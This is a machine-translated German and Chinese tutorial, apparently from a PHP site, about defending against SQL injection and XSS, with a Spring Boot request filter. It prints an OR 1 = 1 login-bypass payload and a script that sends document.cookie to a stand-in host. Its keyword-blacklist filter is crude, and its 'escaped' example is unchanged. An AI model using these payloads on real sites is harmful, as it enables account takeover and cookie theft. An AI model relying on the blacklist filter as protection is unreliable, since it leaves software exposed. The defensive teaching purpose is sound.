, &, *,; usw.), die in die Datenbank usw. gelangen."/> , &, *,; usw.), die in die Datenbank usw. gelangen.">

Heim  >  Artikel  >  PHP-Framework  >  Wie thinkphp SQL-Injection-XSS-Angriffe verhindert

Wie thinkphp SQL-Injection-XSS-Angriffe verhindert

爱喝马黛茶的安东尼
爱喝马黛茶的安东尼Original
2019-08-26 14:09:044790Durchsuche

Wie thinkphp SQL-Injection-XSS-Angriffe verhindert

Einführung in SQL-Injection

SQL-Injection-Schwachstelle (SQL-Injection) ist die häufigste Sicherheitslücke in der Webentwicklung . Sie können damit vertrauliche Informationen aus der Datenbank abrufen oder die Eigenschaften der Datenbank nutzen, um eine Reihe böswilliger Vorgänge wie das Hinzufügen von Benutzern und das Exportieren von Dateien durchzuführen. Es ist sogar möglich, die höchsten Berechtigungen der Datenbank und sogar der Systembenutzer zu erhalten .

Der Grund für die SQL-Injection besteht darin, dass das Programm die Eingaben des Benutzers nicht effektiv entgeht und filtert, sodass der Angreifer erfolgreich bösartigen SQL-Abfragecode an den Server senden kann. Nach dem Empfang des Programms wird die Eingabe des Angreifers fälschlicherweise ausgeführt Im Rahmen einer Abfrageanweisung wird die ursprüngliche Abfragelogik geändert und zusätzlicher, vom Angreifer sorgfältig erstellter Schadcode ausgeführt.

Viele Webentwickler sind sich nicht bewusst, dass SQL-Abfragen manipuliert werden können, und behandeln SQL-Abfragen daher als vertrauenswürdige Befehle. Wie jeder weiß, können SQL-Abfragen Zugriffskontrollen und damit Authentifizierungs- und Berechtigungsprüfungen umgehen. Darüber hinaus ist es möglich, Befehle auf Hostsystemebene über SQL-Abfragen auszuführen.

SQL-Injection-Prinzip

Im Folgenden wird das Prinzip der SQL-Injection anhand einiger realer Beispiele ausführlich erläutert.

Betrachten Sie das folgende einfache Administrator-Anmeldeformular:

<form action="/login" method="POST">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <p><input type="submit" value="登陆" /></p>
</form>

Die Back-End-SQL-Anweisung könnte wie folgt lauten:

let querySQL = `
    SELECT *
    FROM user
    WHERE username=&#39;${username}&#39;
    AND psw=&#39;${password}&#39;
`;
// 接下来就是执行 sql 语句

Der Zweck besteht darin, zu überprüfen, ob der Benutzername und das Passwort korrekt sind Es liegt auf der Hand, dass an der obigen SQL-Anweisung nichts auszusetzen ist und sie tatsächlich unseren Zweck erfüllen kann. Betrachten Sie das Problem jedoch nur aus der Perspektive, die Benutzer entsprechend Ihrem Design eingeben Ein böswilliger Angreifer gibt den Benutzernamen zhangsan' ODER 1 = 1 ein, geben Sie das gewünschte Passwort ein und Sie können sich direkt beim System anmelden.

Beruhigen Sie sich und denken Sie darüber nach. Die eigentliche SQL-Anweisung, die wir vorher erwartet haben, ist:

SELECT * FROM user WHERE username=&#39;zhangsan&#39; AND psw=&#39;mypassword&#39;

Der seltsame Benutzername eines böswilligen Angreifers kann Ihre SQL-Anweisung in die folgende Form ändern:

SELECT * FROM user WHERE username=&#39;zhangsan&#39; OR 1 = 1 --&#39; AND psw=&#39;xxxx&#39;

In SQL bedeutet -- den Inhalt nach dem Kommentar, daher lautet die Abfrageanweisung:

SELECT * FROM user WHERE username=&#39;zhangsan&#39; OR 1 = 1

Die Abfragebedingung dieser SQL-Anweisung ist immer wahr, was bedeutet, dass böswillige Angreifer mich nicht benötigen Passwort, Sie können sich bei meinem Konto anmelden und dann tun, was Sie wollen. Dies ist jedoch nur die einfachste Injektion, die über SQL-Abfragen sogar Befehle auf Host-Systemebene ausführen und einfügen kann Der Inhalt Ihres Hosts ist auf einen Blick ersichtlich, und ich habe nicht die Möglichkeit, ihn ausführlich zu erläutern. Ich bin jedoch nicht professionell in der Erforschung dieser Art von Angriffen Wir haben die Prinzipien der SQL-Injection verstanden und können grundsätzlich eine Lösung zur Abwehr von SQL-Injection finden.

Verwandte Empfehlungen: „ThinkPHP Tutorial

SQL-Injection verhindern

Das Verhindern von SQL-Injection erlaubt hauptsächlich keine Benutzereingaben Der Inhalt wirkt sich auf die Logik normaler SQL-Anweisungen aus. Wenn die vom Benutzer eingegebenen Informationen zum Zusammenfügen von SQL-Anweisungen verwendet werden, sollten wir uns immer dafür entscheiden, sie zu maskieren und zu filtern Nachfolgend sind einige Punkte zu beachten, wenn Sie sich gegen SQL-Injection wehren:

1. Beschränken Sie die Betriebsberechtigungen der Datenbank der Webanwendung streng und stellen Sie diesem Benutzer dabei die Mindestberechtigungen zur Verfügung, die für seine Arbeit ausreichend sind Minimierung der Auswirkungen von Injektionsangriffen auf den Datenbankschaden.

2. Der Back-End-Code prüft, ob die Eingabedaten den Erwartungen entsprechen, und schränkt die Variablentypen streng ein, z. B. die Verwendung regulärer Ausdrücke für einige übereinstimmende Verarbeitungen.

3. Escapen oder kodieren Sie die Sonderzeichen (', ", 95ec6993dc754240360e28e0de8de30a, &, *,; usw.). Grundsätzlich gibt es für alle Back-End-Sprachen Methoden dazu Escape-Strings, wie z. B. die lodash._escapehtmlchar-Bibliothek

4. Es wird empfohlen, dass alle von der Datenbank bereitgestellten Abfrageanweisungen Parameter verwenden, anstatt Benutzereingabevariablen zu verwenden In SQL-Anweisungen werden SQL-Anweisungen nicht direkt gespleißt. Beispielsweise wird der Platzhalterparameter ? in der Abfragemethode der mysqljs-Bibliothek in Node.js 5 verwendet. Es wird empfohlen, vor der Veröffentlichung der Anwendung die SQL-Injection-Erkennung zu verwenden Tools zum rechtzeitigen Erkennen und Beheben entdeckter SQL-Injection-Schwachstellen. Es gibt viele Open-Source-Tools im Internet, z. B. SQLMap, SQLninja usw. 6. Vermeiden Sie, dass Websites SQL-Fehlermeldungen wie Typfehler, Feldkonflikte usw. drucken ., Machen Sie die SQL-Anweisungen im Code verfügbar, um zu verhindern, dass Angreifer diese Fehlermeldungen zum Durchführen von SQL-Injections verwenden

7. Seien Sie in den zurückgegebenen Fehlerinformationen nicht zu detailliert, wenn der Zweck der Zweckmäßigkeit dient. Verwenden Sie sie einfach das Back-End-Protokoll und legen Sie nicht zu viele Fehlerinformationen auf der Benutzeroberfläche offen. Schließlich kümmern sich echte Benutzer nicht um zu viele technische Details, solange die Worte angemessen sind Einführung in XSS-Angriffe

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。

理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。

XSS 攻击示例

有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;

这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。

预防 XSS 攻击

核心思想

永远不要相信用户的输入,必须对输入的数据作过滤处理。

该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & 6d267e5fab17ea8bc578f9e7e5e1570b。

比如,我刚刚的恶意代码被过滤后,会变为下面的代码:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;

这样,就可以预防大部分 XSS 攻击了。

服务端代码处理

以springboot为例:

可利用过滤器进行设置,如下所示:

/**
 * 防止sql注入,xss攻击
 * 前端可以对输入信息做预处理,后端也可以做处理。
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    private final Logger log = LoggerFactory.getLogger(getClass());
    private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
    |declare|;|or|-|+";
    private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
    private static String replacedString="INVALID";
    static {
        String keyStr[] = key.split("\\|");
        for (String str : keyStr) {
            notAllowedKeyWords.add(str);
        }
    }
    private String currentUrl;
    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
        currentUrl = servletRequest.getRequestURI();
    }
    /**覆盖getParameter方法,将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public Map<String, String[]> getParameterMap(){
        Map<String, String[]> values=super.getParameterMap();
        if (values == null) {
            return null;
        }
        Map<String, String[]> result=new HashMap<>();
        for(String key:values.keySet()){
            String encodedKey=cleanXSS(key);
            int count=values.get(key).length;
            String[] encodedValues = new String[count];
            for (int i = 0; i < count; i++){
                encodedValues[i]=cleanXSS(values.get(key)[i]);
            }
            result.put(encodedKey,encodedValues);
        }
        return result;
    }
    /**
     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取
     * getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    private String cleanXSS(String valueP) {
        // You&#39;ll need to remove the spaces from the html entities below
        String value = valueP.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("&#39;", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\&#39;][\\s]*javascript:(.*)[\\\"\\\&#39;]", "\"\"");
        value = value.replaceAll("script", "");
        value = cleanSqlKeyWords(value);
        return value;
    }
    private String cleanSqlKeyWords(String value) {
        String paramValue = value;
        for (String keyword : notAllowedKeyWords) {
            if (paramValue.length() > keyword.length() + 4
                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
                    contains(" "+keyword+" "))) {
                paramValue = StringUtils.replace(paramValue, keyword, replacedString);
                log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword
                        + ")"+";参数:"+value+";过滤后的参数:"+paramValue);
            }
        }
        return paramValue;
    }
}

Das obige ist der detaillierte Inhalt vonWie thinkphp SQL-Injection-XSS-Angriffe verhindert. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn